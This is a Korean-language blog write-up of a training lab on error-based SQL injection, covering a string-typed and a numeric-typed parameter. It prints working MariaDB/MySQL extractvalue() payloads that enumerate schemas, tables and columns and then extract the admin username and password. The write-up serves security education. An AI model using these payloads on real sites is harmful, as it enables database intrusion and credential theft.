SQLi WriteUp

SQL 인젝션 기초

---

Error-base SQLi WriteUp

 Error-based SQLi을 직접 실습해 봅시다. 본 훈련의 상단에 있는 실습 환경을 생성하여 오류 기반 SQLi을 직접 테스트하고 미션을 해결해 보시기 바랍니다. 먼저 참고하면 좋은 자료입니다.

Error 기반 SQL 인젝션

---

Exercise 1. 

이 문제는 매개변수가 WHERE절에 사용된 문자열 타입의 컬럼과 연결됩니다.

 

1. 먼저 URL을 확인함(GET 방식으로 인자 전달) 그 후 DB 프레임워크 확인

- 그 후 홀따옴표(다른걸로 해도 됨)로 SQLi가 되는지 확인

http://가상의 ip의 주소/sqli_err_ex1.php?name=Faye%20Valentine%27

GET 방식으로 요청한 부분 확인(쿼리로 DB SELECT 후 추출한듯)

되는 모습

아 참고로 여기에는 이미지를 안 올렸는데 페이지 소스를 보다 보면 주석으로 공격 유형과 필터의 유무를 알려주네요 ㅎㅎ

오류 확인 DB : MariaDB(Mysql)

MySQL :: MySQL 8.0 Reference Manual :: 26.3.31 The INFORMATION_SCHEMA SCHEMATA Table

MySQL :: MySQL 8.0 Reference Manual :: 26.8 Extensions to SHOW Statements

위 공식 문서의 자료를 통해 참고하여 살펴봅시다.

---

2. 사용 중인 DB명 확인 & 테이블명

사용 중인 DB 프레임워크는 위에서 확인했죠? 바로 DB명을 확인합시다. 

%27 AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, schema_name) FROM information_schema.schemata LIMIT 3,1)))-- -

참고로 concat은 사용 안 해도 되긴 해요(여기선 왜 계속 쓰라고 할까요?)

또한 extractvalue()를 사용하는 이유는 화면에 띄우기 위함(단 한 컬럼밖에(줄) 못 띄움)

 해당 결과가 나오는 이유는 해당 information_schema.schemata(Mysql, MariaDB의 정보; 제약조건 등)을 담아두는 메타데이에서 해당정보의 컬럼을 찾는 과정입니다. 

MySQL :: MySQL 8.0 Reference Manual :: 26.1 Introduction

위 자료를 참고하여 풀어봅시다.

---

3. 테이블을 열거함

%27 AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, table_name) FROM information_schema.tables WHERE table_schema='mydb' LIMIT 3,1)))-- -

해당 사용자의 데이터를 갖고 있는 DB(users)의 정보를 얻었으니 다음단계로 ㄱ

---

4. 사용자 계정(ID)과 비번 컬럼 확인하기

/* Username columns */
%27 AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, column_name) FROM information_schema.columns WHERE table_name='users' LIMIT 5,1)))-- -

/* Password columns */
%27 AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='users' LIMIT 6,1)))-- -

---

5. admin password crack

테이블명과 구조 그리고 각 컬럼의 정보를 알았으므로 바로 비번을 추출합시다.

%27 AND extractvalue(rand(), concat(0x3a, (SELECT concat(user_name, 0x3a, password) FROM users LIMIT 0,1)))-- -

pass!!

결론적으로 결과가 나왔군요

ID : Administrator(admin)
PW : pass

 

Exercise 2.

 이 문제는 매개변수 값에 홑따옴표(')를 제출하면 DB 구문 오류 메시지를 표시하지만 문제 1과 동일한 방법을 이용하면 원하는 데이터를 추출할 수 없습니다. 이 문제는 매개변수가 DB의 숫자 타입 컬럼과 연결되어 있음을 유의하세요. 

1. 먼저 URL을 확인함(GET 방식으로 인자 전달) 그 후 DB 프레임워크 확인

- 그 후 홀따옴표(다른 걸로 해도 됨)로 SQLi가 되는지 확인

http://가상의 ip의 주소/sqli_err_ex2.php?emp_no=1%2B2

를 한다면 처음 2번째 문제를 들어갈 때처럼 정상적으로 나오므로 SQLi가 가능해집니다. 참고로 %2B는 +이며, 저렇게 URL incode 가 약간 귀찮다면 -를 그냥 쓰셔도 돼요

---

2. 사용 중인 DB명 확인 & 테이블명

 사용 중인 DB 프레임워크는 위에서 확인했죠? 바로 DB명을 확인합시다. 위에서 했던 내용이랑 크게 달라진 보호 기법이나 DB가 변경되진 않아서 코드만 보여주고 끝내도록 하겠습니다.

 AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, schema_name) FROM information_schema.schemata LIMIT 3,1)))-- -

---

3. 테이블을 열거함

 AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, table_name) FROM information_schema.tables WHERE table_schema='mydb' LIMIT 3,1)))-- -

---

4. 사용자 계정(ID)과 비번 컬럼 확인하기

/* Username columns */
 AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, column_name) FROM information_schema.columns WHERE table_name='users' LIMIT 5,1)))-- -

/* Password columns */
 AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='users' LIMIT 6,1)))-- -

---

5. admin password crack

테이블명과 구조 그리고 각 컬럼의 정보를 알았으므로 바로 비번을 추출합시다.

 AND extractvalue(rand(), concat(0x3a, (SELECT concat(user_name, 0x3a, password) FROM users LIMIT 0,1)))-- -

결과랑 접근 방식도.. 정확하게 똑같네요.. Python으로 익스 코드를 작성할까.. 생각해봤는데 나중에 할께

 

아직 미완성이기도 하고 원래 지금 올릴 생각은 없었는데.. 오늘은 날먹할께요 ㅎㅎ..